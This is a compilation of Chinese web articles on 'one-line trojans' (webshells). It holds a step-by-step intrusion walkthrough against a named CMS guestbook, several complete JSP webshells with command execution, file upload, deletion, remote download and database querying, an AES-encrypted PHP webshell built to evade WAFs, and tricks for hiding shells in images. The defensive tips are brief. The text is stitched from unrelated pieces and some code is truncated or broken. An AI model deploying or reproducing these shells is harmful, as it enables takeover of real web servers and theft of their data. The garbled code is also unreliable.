利用动态二进制加密实现新型一句话木马之Java篇
java的一句话木马

java的一句话木马摘要:1.Java 一句话木马的定义和背景2.Java 一句话木马的特点3.Java 一句话木马的生成和传播4.Java 一句话木马的检测和防范5.总结正文:Java 一句话木马是一种基于Java 语言编写,且长度较短的恶意代码。
它通常通过各种途径植入到受害者的计算机系统中,然后攻击者可以远程控制该计算机,窃取敏感信息或进行其他恶意行为。
由于Java 一句话木马具有高度的隐蔽性和破坏性,因此对于网络安全具有很大的威胁。
Java 一句话木马的特点如下:1.短小精悍:Java 一句话木马的长度通常在几十到几百字节之间,非常易于传播。
2.跨平台:Java 语言具有跨平台特性,因此Java 一句话木马可以在多种操作系统上运行。
3.高度隐蔽:Java 一句话木马可以利用Java 语言的特性,将恶意代码嵌入到正常的程序中,使其难以被发现。
生成和传播Java 一句话木马的方式有很多,攻击者通常会利用各种漏洞和手段,将木马植入到受害者的计算机系统中。
例如,攻击者可以通过邮件附件、恶意网站、软件下载等途径,诱导受害者下载并运行包含Java 一句话木马的程序。
为了防范Java 一句话木马的攻击,我们可以采取以下措施:1.更新Java 环境:确保使用的Java 环境是最新版本的,以便修补已知的漏洞。
2.谨慎下载和运行软件:不要轻信他人发送的邮件附件或从不可靠的网站下载软件。
在运行未知来源的Java 程序时,务必谨慎。
3.安装杀毒软件:选择一款可靠的杀毒软件,并定期更新病毒库,以便及时检测和清除恶意代码。
4.加强系统安全:对于重要的计算机系统,应采取更严格的安全措施,如设置访问权限、定期检查系统日志等。
总之,Java 一句话木马作为一种高度隐蔽和危险的恶意代码,我们需要加强网络安全意识,采取有效措施,防范此类攻击。
一句话木马使用演示(转载)

⼀句话⽊马使⽤演⽰(转载)实例⼀:“⼀句话⽊马”⼊侵“EASYNEWS新闻管理系统”“EASYNEWS新闻管理系统 v1.01 正式版”是在企业⽹站中⾮常常见的⼀套整站模版,在该⽹站系统的留⾔本组件中就存在着数据过滤不严漏洞,如果⽹站是默认路径和默认⽂件名安装的话,⼊侵者可以利⽤该漏洞直接上传ASP⽊马程序控制整个⽹站服务器。
Step1 搜索⼊侵⽬标使⽤了“EASYNEWS新闻管理系统 v1.01 正式版”的⽹站,在⽹站页⾯的底部版权声明处,往往会有关键字符为“ 版权所有”。
只要在GOOGLE或百度中以该字符串为关键词进⾏搜索,就可以找到⼤量的⼊侵⽬标。
Step2 检测⼊侵条件在这⾥,我们以⽹站“/news/index.htm”为例进⾏⼀次⼊侵检测。
“EASYNEWS新闻管理系统”⽹站的留⾔本数据库⽂件默认是位于“\ebook\db\ebook.asp”,⾸先在浏览器地址栏中输⼊“/news/ebook/db/ebook.asp”,回车后在浏览器页⾯中将显⽰访问留⾔本数据库⽂件的返回信息。
如果在页⾯中显⽰乱码,则说明该⽹站的留⾔本数据库⽂件没有改名,可以进⾏⼊侵。
Step3 在数据库中插⼊ASP后门前⾯提到了该新闻系统的留⾔本插件存在过滤不严,因此我们可以通过提交发⾔,在数据库中插⼊“⼀句话⽊马”服务端代码:在浏览器中访问“/news/khly.htm”,打开提交留⾔页⾯。
在提交页⾯中的“主页”栏中,直接填写“⼀句话⽊马”服务端代码,其它随便填写。
确定后点击“发表留⾔”按钮,⽂章发表成功后,即可将“⼀句话⽊马”服务端代码插⼊到留⾔本数据库中了。
Step4 连接后门上传Webshell由于留⾔本数据库⽂件“ebook.asp”是⼀个ASP⽂件,所以我们插⼊到数据库⽂件中的ASP语句将会被执⾏。
将“⼀句话⽊马”客户端中的提交地址改为留⾔本数据库⽂件地址,然后⽤浏览器打开客户端,在上⽅的输⼊框中输⼊上传ASP⽊马的保存路径,在下⾯的输⼊框中可以粘贴⼊其它的ASP⽊马代码,这⾥选择的是桂林⽼兵⽹站管理助⼿ASP代码。
一句话木马:JSP篇

⼀句话⽊马:JSP篇JSP⼀句话收集:1、带密码的回显cmd马<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out 请求:http://x.x.x.x/cmd.jsp??pwd=023&i=whoami2、⼀句话<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>在浏览器地址栏输⼊http://192.168.125.138:8080/222.jsp?f=1.txt&t=hello123123然后再输⼊http://127.0.0.1:8080/test/1.txt3、jsp⼀句话,菜⼑可直连<%@page import="java.io.*,java.util.*,.*,java.sql.*,java.text.*"%><%!String Pwd = "pass";String EC(String s, String c) throws Exception {return s;}//new String(s.getBytes("ISO-8859-1"),c);}Connection GC(String s) throws Exception {String[] x = s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();Connection c = DriverManager.getConnection(x[1].trim());if (x.length > 2) {c.setCatalog(x[2].trim());}return c;}void AA(StringBuffer sb) throws Exception {File r[] = File.listRoots();for (int i = 0; i < r.length; i++) {sb.append(r[i].toString().substring(0, 2));}}void BB(String s, StringBuffer sb) throws Exception {File oF = new File(s), l[] = oF.listFiles();String sT, sQ, sF = "";java.util.Date dt;SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for (int i = 0; i < l.length; i++) {dt = new java.util.Date(l[i].lastModified());sT = fm.format(dt);sQ = l[i].canRead() ? "R" : "";sQ += l[i].canWrite() ? " W" : "";if (l[i].isDirectory()) {sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");} else {sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";}}sb.append(sF);}void EE(String s) throws Exception {File f = new File(s);if (f.isDirectory()) {File x[] = f.listFiles();for (int k = 0; k < x.length; k++) {if (!x[k].delete()) {EE(x[k].getPath());}}}f.delete();}void FF(String s, HttpServletResponse r) throws Exception {int n;byte[] b = new byte[512];r.reset();ServletOutputStream os = r.getOutputStream();BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));os.write(("->" + "|").getBytes(), 0, 3);while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}os.write(("|" + "<-").getBytes(), 0, 3);os.close();is.close();}void GG(String s, String d) throws Exception {String h = "0123456789ABCDEF";int n;File f = new File(s);f.createNewFile();FileOutputStream os = new FileOutputStream(f);for (int i = 0; i < d.length(); i += 2) {os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));}os.close();}void HH(String s, String d) throws Exception {File sf = new File(s), df = new File(d);if (sf.isDirectory()) {if (!df.exists()) {df.mkdir();}File z[] = sf.listFiles();for (int j = 0; j < z.length; j++) {HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());}} else {FileInputStream is = new FileInputStream(sf);FileOutputStream os = new FileOutputStream(df);int n;byte[] b = new byte[512];while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}is.close();os.close();}}void II(String s, String d) throws Exception {File sf = new File(s), df = new File(d);sf.renameTo(df);}void JJ(String s) throws Exception {File f = new File(s);f.mkdir();}void KK(String s, String t) throws Exception {File f = new File(s);SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); java.util.Date dt = fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s, String d) throws Exception {URL u = new URL(s);int n;FileOutputStream os = new FileOutputStream(d);HttpURLConnection h = (HttpURLConnection) u.openConnection();InputStream is = h.getInputStream();byte[] b = new byte[512];while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}os.close();is.close();h.disconnect();}void MM(InputStream is, StringBuffer sb) throws Exception {String l;BufferedReader br = new BufferedReader(new InputStreamReader(is));while ((l = br.readLine()) != null) {sb.append(l + "\r\n");}}void NN(String s, StringBuffer sb) throws Exception {Connection c = GC(s);ResultSet r = c.getMetaData().getCatalogs();while (r.next()) {sb.append(r.getString(1) + "\t");}r.close();c.close();}void OO(String s, StringBuffer sb) throws Exception {Connection c = GC(s);String[] t = { "TABLE" };ResultSet r = c.getMetaData().getTables(null, null, "%", t);while (r.next()) {sb.append(r.getString("TABLE_NAME") + "\t");}r.close();c.close();}void PP(String s, StringBuffer sb) throws Exception {String[] x = s.trim().split("\r\n");Connection c = GC(s);Statement m = c.createStatement(1005, 1007);ResultSet r = m.executeQuery("select * from " + x[3]);ResultSetMetaData d = r.getMetaData();for (int i = 1; i <= d.getColumnCount(); i++) {sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");}r.close();m.close();c.close();}void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {int i;Connection c = GC(s);Statement m = c.createStatement(1005, 1008);try {ResultSet r = m.executeQuery(q);ResultSetMetaData d = r.getMetaData();int n = d.getColumnCount();for (i = 1; i <= n; i++) {sb.append(d.getColumnName(i) + "\t|\t");}sb.append("\r\n");while (r.next()) {for (i = 1; i <= n; i++) {sb.append(EC(r.getString(i), cs) + "\t|\t");}sb.append("\r\n");}r.close();} catch (Exception e) {sb.append("Result\t|\t\r\n");try {m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");} catch (Exception ee) {sb.append(ee.toString() + "\t|\t\r\n");}}m.close();c.close();}%><%String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + ""; request.setCharacterEncoding(cs);response.setContentType("text/html;charset=" + cs);String Z = EC(request.getParameter(Pwd) + "", cs);String z1 = EC(request.getParameter("z1") + "", cs);String z2 = EC(request.getParameter("z2") + "", cs);StringBuffer sb = new StringBuffer("");try {sb.append("->" + "|");if (Z.equals("A")) {String s = new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s + "\t");if (!s.substring(0, 1).equals("/")) {AA(sb);}} else if (Z.equals("B")) {BB(z1, sb);} else if (Z.equals("C")) {String l = "";BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while ((l = br.readLine()) != null) {sb.append(l + "\r\n");}br.close();} else if (Z.equals("D")) {BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");} else if (Z.equals("E")) {EE(z1);sb.append("1");} else if (Z.equals("F")) {FF(z1, response);} else if (Z.equals("G")) {GG(z1, z2);sb.append("1");} else if (Z.equals("H")) {HH(z1, z2);sb.append("1");} else if (Z.equals("I")) {II(z1, z2);sb.append("1");} else if (Z.equals("J")) {JJ(z1);sb.append("1");} else if (Z.equals("K")) {KK(z1, z2);sb.append("1");} else if (Z.equals("L")) {LL(z1, z2);sb.append("1");} else if (Z.equals("M")) {String[] c = { z1.substring(2), z1.substring(0, 2), z2 };Process p = Runtime.getRuntime().exec(c);MM(p.getInputStream(), sb);MM(p.getErrorStream(), sb);} else if (Z.equals("N")) {NN(z1, sb);} else if (Z.equals("O")) {OO(z1, sb);} else if (Z.equals("P")) {PP(z1, sb);} else if (Z.equals("Q")) {QQ(cs, z1, z2, sb);}} catch (Exception e) {sb.append("ERROR" + ":// " + e.toString());}sb.append("|" + "<-");out.print(sb.toString());%>View Code4、⼩马,上传?p=ruphy&f=<%@page import="java.io.*" contentType="text/html; charset=UTF-8" %><%@page import="java.util.zip.*" contentType="text/html; charset=UTF-8" %><%@page import="java.util.*" contentType="text/html; charset=UTF-8" %><%@page import="ng.StringBuilder" contentType="text/html; charset=UTF-8" %> <%@page import=".URLDecoder" contentType="text/html; charset=UTF-8" %> <%!void recursionZip(ZipOutputStream zipOut, File file, String baseDir) throws Exception { if (file.isDirectory()) {File[] files = file.listFiles();for (File fileSec : files) {recursionZip(zipOut, fileSec, baseDir + file.getName() + File.separator);}} else {byte[] buf = new byte[1024];InputStream input = new FileInputStream(file);zipOut.putNextEntry(new ZipEntry(baseDir + file.getName()));System.out.println(file + "压缩成功!");int len;while ((len = input.read(buf)) != -1) {zipOut.write(buf, 0, len);}input.close();}}boolean zip(String filepath, String zipPath) {try {File file = new File(filepath);// 要被压缩的⽂件夹File zipFile = new File(zipPath);ZipOutputStream zipOut = new ZipOutputStream(new FileOutputStream(zipFile));if (file.isDirectory()) {File[] files = file.listFiles();for (File fileSec : files) {if (!fileSec.getAbsolutePath().equals(zipFile.getAbsolutePath()))recursionZip(zipOut, fileSec, file.getName() + File.separator);}} else {recursionZip(zipOut, file, "");}zipOut.close();} catch (Exception e) {return false;}return true;}void copyStream(final InputStream[] ins, final JspWriter out) {for (final InputStream in : ins) {new Thread(new Runnable() {// @Override 不兼容低版本public void run() {if (in == null) return;try {int a = -1;byte[] b = new byte[2048];while ((a = in.read(b)) != -1) {out.println(new String(b));}} catch (Exception e) {} finally {try {if (in != null) in.close();} catch (Exception ec) {}}}}).start();}}String uploadFile(DataInputStream is, String path, int size, String sp) throws IOException {if (size > 20 * 1024 * 1024) {return"上传失败,⽂件太⼤!";}byte bts[] = new byte[size];int br = 0;int tbr = 0;//上传的数据保存在byte数组⾥⾯while (tbr < size) {br = is.read(bts, tbr, size);tbr += br;}String file = new String(bts, "utf-8");String sf = file.substring(file.indexOf("filename=\"") + 10);sf = sf.substring(0, sf.indexOf("\n")).replaceAll("/\\+", "/");sf = sf.substring(stIndexOf("/") + 1, sf.indexOf("\""));String fileName = path + "/" + sf;int pos;pos = file.indexOf("filename = \"");pos = file.indexOf("\n", pos) + 1;pos = file.indexOf("\n", pos) + 1;pos = file.indexOf("\n", pos) + 1;int bl = file.indexOf(sp, pos) - 4;//取得⽂件数据的开始的位置int startPos = ((file.substring(0, pos)).getBytes()).length;int endPos = ((file.substring(0, bl)).getBytes()).length;File checkFile = new File(fileName);if (checkFile.exists()) {checkFile.delete();}FileOutputStream fileOut = new FileOutputStream(fileName);fileOut.write(bts, startPos, (endPos - startPos));fileOut.close();return sf + "⽂件上传成功!";}String getCurrentPath(String file, String p, String url) throws IOException {String path = "";String tmpFile = file.replaceAll("/[^/]+/?$", "/");while (!file.equals(tmpFile)) {path = "<a href='" + url + "?p=" + p + "&f=" + file + "'>" + file.replaceAll(tmpFile, "") + "</a>" + path;file = tmpFile;tmpFile = file.replaceAll("/[^/]+/?$", "/");}path = "<a href='" + url + "?p=" + p + "&f=" + file + "'>" + file + "</a>" + path;return path;}%><%//验证⽤户名String dp = "ruphy";response.setCharacterEncoding("UTF-8");String url = request.getRequestURL().toString();String p = request.getParameter("p");if (!dp.equals(p)) {if (!"true".equals(request.getParameter("c"))) {out.println("<div style='text-align: center;'>访问失败!<span style='color: red'>密码错误!</span></div>");out.println("<div style='text-align: center;'><span>usage: <a style='color: black' href='" + url + "?p=passwd&f=path' >" + url + "?p=passwd&f=path</a></span></div>");out.println("<div style='text-align: center; color: blue'>@copyright by ruphy.</div>");}return;}String m = request.getParameter("m");if (m != null && !"".equals(m.trim())) {out.println("开始执⾏命令: " + m);out.flush();String[] cmds = new String[]{"sh", "-c", m};if (System.getProperty("").toLowerCase().contains("windows")) {cmds = new String[]{"cmd", "/k", m};}Process ps = null;out.print("<xmp>");try {ps = Runtime.getRuntime().exec(cmds);copyStream(new InputStream[]{ps.getInputStream(), ps.getErrorStream()}, out);ps.getOutputStream().close();ps.waitFor();} catch (Exception e) {out.println("<div>执⾏命令 " + m + " 发⽣错误!</div>");} finally {try {if (ps != null) ps.destroy();} catch (Exception ec) {out.println("关闭流出错!");}}out.println("</xmp>");out.println("<div>执⾏命令: " + m + " 完成!</div>");return;}String fn = request.getParameter("f");if (fn == null || "".equals(fn.trim())) {fn = application.getRealPath("/");}String f = fn.replaceAll("\\\\+", "/").replaceAll("/+", "/");String ct = request.getContentType();if (ct != null && ct.indexOf("multipart/form-data") >= 0) {DataInputStream is = new DataInputStream(request.getInputStream());String msg = uploadFile(is, f, request.getContentLength(), ct.substring(stIndexOf("=") + 1, ct.length()));out.println("<script>alert('" + msg + "');location.href='" + url + "?p=" + dp + "&f=" + f + "';</script>");return;}File file = new File(f);if (!file.exists()) {out.println("<script>alert('输⼊⽬录或者⽂件不存在!')</script>");}if ("true".equals(request.getParameter("t")) && file.exists()) {if (zip(f, new File(f).getAbsolutePath() + ".zip")) {out.println("<script>alert('压缩成功!');location.href=location.href.replace(\"&t=true\", \"\").replace(/\\/[^\\/]+$/, '');</script>");}out.println("<script>alert('压缩失败');location.href=location.href.replace(\"&t=true\", \"\").replace(/\\/[^\\/]+$/, '');</script>");return;}if (file.isDirectory() && file.canRead()) {StringBuilder sb = new StringBuilder();File[] files = File.listRoots();String roots = "";for (int i = 0; i < files.length; i++) {roots += "<a style=\"margin-left: 10px;\" href=\"" + url + "?p=" + dp + "&f=" + files[i].getPath().replaceAll("\\\\+", "/") + "/\">" + files[i].getPath() + "</a>";}sb.append("<div><div>");sb.append("<div style='margin: 10px 0 0 20px'><form action=" + url + "?p=" + dp + "&f=" + f + " method='post' enctype='multipart/form-data'>⽂件上传: <input name='fileName' type='file'><input onclick='return confirm(\"上传到当前⽬录:sb.append("</div><div style='margin: 5px 0 20px 20px'><span>根⽬录:" + roots + "</span><span style=\"margin-left: 20px;\">当前⽬录:" + getCurrentPath(f, dp, url) + "</span>"+ "<span style=\"margin-left: 20px;\" ><a href=\"" + url + "?p=" + dp + "&f=" + f.replaceAll("/[^/]+/?$", "/") + "\">返回上级⽬录</a></span>"+ "</div>");sb.append("<div style='max-height: 400px; overflow: auto; background-color: #ffe;'><table><tbody>");files = file.listFiles();for (int i = 0; i < files.length; i++) {if (files[i].canRead()) {sb.append("<tr>"+ "<td><a style=\"margin-left: 20px;\" href='" + url + "?p=" + dp + "&f=" + f + "/" + files[i].getName() + "'>" + files[i].getName() + "</a></td>"+ "<td><a style=\"margin-left: 20px;\" onclick='return confirm(\"确定删除吗?\")' href=\"" + url + "?p=" + dp + "&r=true&f=" + f + "/" + files[i].getName() + "\">删除</a></td>"+ (!files[i].isFile() ? "<td></td>" : "<td><a style=\"margin-left: 20px;\" onclick=\"top.document.getElementById('view-file').setAttribute('src', '" + url + "?p=ruphy&v=true&w=true&f=" + f + "/" + files[i].getName() + "');\" href=\"#\">查 + "<td><a style=\"margin-left: 20px;\" href=\"" + url + "?p=" + dp + "&t=true&f=" + f + "/" + files[i].getName() + "\">压缩</a>"+ "<span style=\"margin-left: 20px\">" + files[i].length() / 1024 + "KB(" + files[i].length() / 1024 / 1024 + "MB)</span></td>"+ "</tr>");}}sb.append("</tbody></table></div></div>");sb.append("<div style='background-color: #ccc;'>");sb.append("<div style='margin: 20px'>虚拟终端:<input id='command' type='text' value='netstat -an' style='width: 250px;border: none;color: red;background-color: black;'/>"+ "<a style='color: blue' onclick=\"var m= top.document.getElementById('command').value;if(!m) return false; top.document.getElementById('view-file').setAttribute('src', '" + url + "?p=ruphy&m=' + encodeURIComponent(m));\" href=\"#\ + "</div>");sb.append("<div style='margin-top: 20px; padding: 5px; height: 600px;max-height: 100%'>"+ "<iframe id='view-file' src='" + url + "?c=true' height='100%' style='width: 100%; height: 100%' frameborder='0'></iframe>"+ "</div>");sb.append("</div>");out.println(sb.toString());out.println("<div><div style='text-align: center;'><span>usage: <a style='color: black' href='" + url + "' >" + url + "?p=passwd</a></span></div>");out.println("<div style='text-align: center; color: blue'>@copyright by ruphy.</div></div>");sb.append("</div>");return;}if ("true".equals(request.getParameter("r"))) {if (file.delete()) {out.println("<script>alert('删除成功!');location.href=location.href.replace(\"&r=true\", \"\").replace(/\\/[^\\/]+$/, '');</script>");}out.println("<script>alert('删除失败!');location.href=location.href.replace(\"&r=true\", \"\").replace(/\\/[^\\/]+$/, '');</script>");return;}if (!"true".equals(request.getParameter("v"))) {response.setContentType("application/octet-stream");response.setHeader("Content-Disposition", "attachment; filename=" + f.replaceAll(".+/+", "").replace("", "_"));} else if (file.length() > 1024 * 1024 * 10) {out.println("⽂件太⼤,请下载查看!");return;}String ctt = java.nio.file.Files.probeContentType(file.toPath());ctt = ctt == null ? "others" : ctt.replaceAll("\\/+.*", "");if ("true".equals(request.getParameter("w"))) {String u = url + "?p=ruphy&v=true&l=true&f=" + f;if ("video".equals(ctt)) {out.println("<div style='width: 800px'><video style='margin-top: 5px; width: 100%' controls=\"controls\" autoplay=\"autoplay\" src='" + u + "' /></div>");return;}if ("audio".equals(ctt)) {out.println("<div style='width: 300px'><audio style='width: 100%' controls=\"controls\" autoplay=\"autoplay\" src='" + u + "' /></div>");return;}if ("image".equals(ctt)) {out.println("<div style='width: 600px'><img style='margin-top: 5px; width:100%;' alt='⾮图⽚' src='" + u + "'/></div>");return;}}if ("true".equals(request.getParameter("l"))) {OutputStream streamOut = response.getOutputStream();InputStream streamIn = new FileInputStream(file);int length = streamIn.available();int bytesRead = 0;byte[] buffer = new byte[1024];while ((bytesRead = streamIn.read(buffer, 0, 1024)) != -1) { streamOut.write(buffer, 0, bytesRead);}response.flushBuffer();streamIn.close();streamOut.close();return;}FileInputStream fis = new FileInputStream(file);InputStreamReader isr = new InputStreamReader(fis, "UTF-8"); BufferedReader br = new BufferedReader(isr);StringBuilder sb = new StringBuilder();sb.append("<xmp>\n");String line = null;while ((line = br.readLine()) != null) {sb.append(line);sb.append("\n");}sb.append("</xmp>");out.println(sb.toString());fis.close();isr.close();br.close();%>View Code。
javaAES实现字符串的加密、解密(配合二进制、十六进制转换的工具使用)

javaAES实现字符串的加密、解密(配合⼆进制、⼗六进制转换的⼯具使⽤)//BinHexSwitchUtil 参考这个链接https:///xiaoxiao075/p/13230454.htmlimport javax.crypto.*;import javax.crypto.spec.SecretKeySpec;import java.security.InvalidKeyException;import java.security.Key;import java.security.NoSuchAlgorithmException;import java.security.SecureRandom;import java.util.Arrays;import java.util.Base64;//import mons.codec.binary.Base64;public class EncryptStrUtil {/*** KeyGenerator的⽅式,通过传⼊种⼦串⽣成key,进⾏加密* @param seed ⽣成key传⼊的种⼦串* @param toEncryptStr 要加密的字节数组* @return返回 Base64 的加密字符串*/public static String encrypt(String seed, byte[] toEncryptStr) {try {return Base64.getEncoder().encodeToString(getCipher(seed, Cipher.ENCRYPT_MODE).doFinal(toEncryptStr)); //此时使⽤的 Base64 编码} catch (Exception e) {e.printStackTrace();}return null;}/*** 根据传⼊的⼆进制 key数组,返回AES的⼗六进制加密串* @param keyBytes* @param toEncryptStr* @return*/public static String encrypt(byte[] keyBytes, byte[] toEncryptStr) {try {return BinHexSwitchUtil.bytesToHexString(getCipher(keyBytes, Cipher.ENCRYPT_MODE).doFinal(toEncryptStr));} catch (Exception e) {e.printStackTrace();}return null;}/*** KeyGenerator的⽅式,通过传⼊种⼦串⽣成key,进⾏解密* @param seed ⽣成key传⼊的种⼦串* @param encryptedStr 要解密的字节数组,Base64加密的* @return返回解密的字节数组*/public static byte[] decrypt(String seed, byte[] encryptedStr) {try {return getCipher(seed, Cipher.DECRYPT_MODE).doFinal(Base64.getDecoder().decode(encryptedStr));} catch (Exception e) {e.printStackTrace();}return null;}/*** 根据传⼊的⼆进制 key数组,将16进制加密串解密* @param keyBytes* @param encryptedStr 要解密的字符串* @return已解密的⼆进制数组*/public static byte[] decrypt(byte[] keyBytes, String encryptedStr) {try {return getCipher(keyBytes, Cipher.DECRYPT_MODE).doFinal(BinHexSwitchUtil.hexStringTobytes(encryptedStr));} catch (Exception e) {e.printStackTrace();}return null;}/*** KeyGenerator 的⽅式⽣成key,获取密码⽣成器* @param seed 传⼊的种⼦字符串* @param encryptMode 传⼊加密模式、解密模式* @return返回密码⽣成器* @throws Exception*/private static Cipher getCipher(String seed, int encryptMode) throws Exception {//⽣成加密随机数SecureRandom random = SecureRandom.getInstance("SHA1PRNG");//并设置seedrandom.setSeed(seed.getBytes());//创建AES⽣产者KeyGenerator generator = KeyGenerator.getInstance("AES");//初始化⽣产者,128位generator.init(128, random);Key key=generator.generateKey();// 返回基本编码格式的密钥(初始key),如果此密钥不⽀持编码,则返回null。
【原创】利用动态二进制加密实现新型一句话木马之PHP篇

【原创】利⽤动态⼆进制加密实现新型⼀句话⽊马之PHP篇概述本系列⽂章重写了java、.net、php三个版本的⼀句话⽊马,可以解析并执⾏客户端传递过来的加密⼆进制流,并实现了相应的客户端⼯具。
从⽽⼀劳永逸的绕过WAF或者其他⽹络防⽕墙的检测。
本来是想把这三个版本写在⼀篇⽂章⾥,过程中发现篇幅太⼤,所以分成了四篇,分别是:利⽤动态⼆进制加密实现新型⼀句话⽊马之Java篇利⽤动态⼆进制加密实现新型⼀句话⽊马之.net篇利⽤动态⼆进制加密实现新型⼀句话⽊马之php篇利⽤动态⼆进制加密实现新型⼀句话⽊马之客户端篇前⾔在第⼀篇⽂章《利⽤动态⼆进制加密技术实现新型⼀句话⽊马之Java篇》中我们介绍了⼀种可以长期绕过所有流量型防护系统的思路,并完成了其Java版本的实现,绕过流程⼤体如下图,详细内容请参考第⼀篇⽂章。
现在我们继续实现该思路的PHP版本。
实现篇服务端实现得益于PHP语⾔的灵活性、松散性,现有的PHP⼀句话⽊马存在很多个版本,为了躲避杀毒软件和waf,php的⼀句话⽊马变形起来可以说是脑洞⼤开,精妙绝伦。
下⾯我们来打造⼀个基于纯⼆进制流量的PHP⼀句话⽊马。
当然,我们可以采⽤的⽅法远不⽌这⼀种,可以在此基础上衍⽣出各种变形。
和Java和.NET不同,PHP并不存在⼿动编译的过程,开发⼈员只要提供PHP源代码,然后PHP会⾃⼰把源代码编译为opcode,由Zend引擎来解析opcode。
因为不存在编译的中间环节,当然也就不存在已编译的⼆进制类⽂件。
所以这⾥我们要转变⼀下思路,在具体实现之前我们先看⼀个PHP的特性“可变函数”,官⽅描述为:PHP ⽀持可变函数的概念。
这意味着如果⼀个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执⾏它。
可变函数可以⽤来实现包括回调函数,函数表在内的⼀些⽤途。
下⾯看具体实现,直接上代码吧(为了增加可读性,我对代码进⾏了⼀些扩充):<?phpsession_start();if (isset($_GET['pass'])){$key=substr(md5(uniqid(rand())),16);$_SESSION['k']=$key;print $key;}else{$key=$_SESSION['k'];$decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);$arr=explode('|',$decrptContent);$func=$arr[0];$params=$arr[1];$func($params);}>简单解释⼀下流程:⾸先客户端以Get形式发起带密码的握⼿请求,服务端产⽣随机密钥并写⼊Session。
java的一句话木马

java的一句话木马作为一种计算机恶意软件,Java木马是利用Java编程语言编写的程序,它具有隐藏性和潜伏性,可以在未经用户许可的情况下,远程控制或操纵被感染的计算机系统。
Java木马可以对计算机系统进行非法操作、窃取用户隐私信息、传播病毒等,给用户和系统带来严重的安全风险。
一个简单的Java木马可以通过网络传播并执行其恶意代码。
在第一次运行时,木马程序会嵌入到目标系统的内存中,并将自己添加到系统启动项或进程列表中,以确保在每次系统启动时自动运行。
此后,木马程序会定期与控制服务器建立连接,接收远程指令,并执行相应的操作。
Java木马的主要特点之一是其隐藏性。
为了避免被发现,它通常会使用伪装技术,将自己伪装成合法的Java应用程序或系统进程。
这使得Java木马非常难以被普通用户或安全软件察觉。
另一个特点是Java木马的潜伏性。
一旦感染了目标系统,它会尽可能地隐藏自己,避免被用户察觉。
它可以通过修改系统文件、禁用安全软件、隐藏进程等手段,使自己更难以被发现和删除。
Java木马还具有远程控制和操纵被感染系统的能力。
攻击者可以通过控制服务器发送指令给木马,实现远程控制目标系统的功能。
这包括获取系统信息、窃取用户登录凭证、执行恶意操作、传播病毒等。
除了上述功能,Java木马还可以具备其他恶意行为。
例如,它可以利用系统漏洞,传播自身或其他病毒。
它也可以修改系统配置,损害系统的稳定性和安全性。
此外,Java木马还可能窃取用户的个人隐私信息,如银行账号、密码、身份证号码等,用于非法活动或牟取利益。
为了保护计算机系统免受Java木马的侵害,用户应该采取以下预防措施:1.定期更新操作系统和软件补丁,以修复已知漏洞。
2.下载软件和文件时,应仔细检查其来源和完整性,避免下载和运行不明来源的文件。
3.安装可信的安全软件,并进行定期更新和全面扫描,以检测和清除潜在的木马程序。
4.不随意点击可疑链接或打开垃圾邮件附件,以避免误下载木马程序。
一句话木马图片制作(三种方法)

图片木马制作的三种方法Copy命令制作1.asp内容:打开cmd,数据一下命令:此时打开两个jpg文件,相比:且打开2.jpg可以像1.jpg一样显示图像。
把以下代码放入目标网站,即可按asp执行。
<% #include files=”2.jpg”%>Uedit32(转载):本制作来自于:雪糕。
我们通常在得到webshell之后都想给自己留个后门,等下次或以后有用得到的时候再进来看看。
但如果直接加入一句话木马<%execute request("value")%>到asp文件中时,在该页面上就会有类似如下的错误:Microsoft VBScript 运行时错误错误'800a000d'类型不匹配: 'execute'/news1/show.asp,行 3所以我们就可以开动脑筋了,使用插入一句话木马的图片做我们的后门。
而且我们如果有足够的权限的话(希望网站中的文件可写),就直接把网站原有的图片变成后门,然后在那个asp文件中加入调用图片后门的代码:<!--#include file="图片后门地址"-->这样就没有上面的“类型不匹配: 'execute'”错误了,而且也更好的隐藏了我们的后门。
新挑战始终会伴着新事物的出现而出现,当我们直接将我们的一句话木马的asp文件改成jpg 或gif文件的时候,这个图片文件是打不开的,这又容易被管理员发现。
然后我们就又开始思考并寻找新的方法:制作可以显示图片内容的图片格式后门。
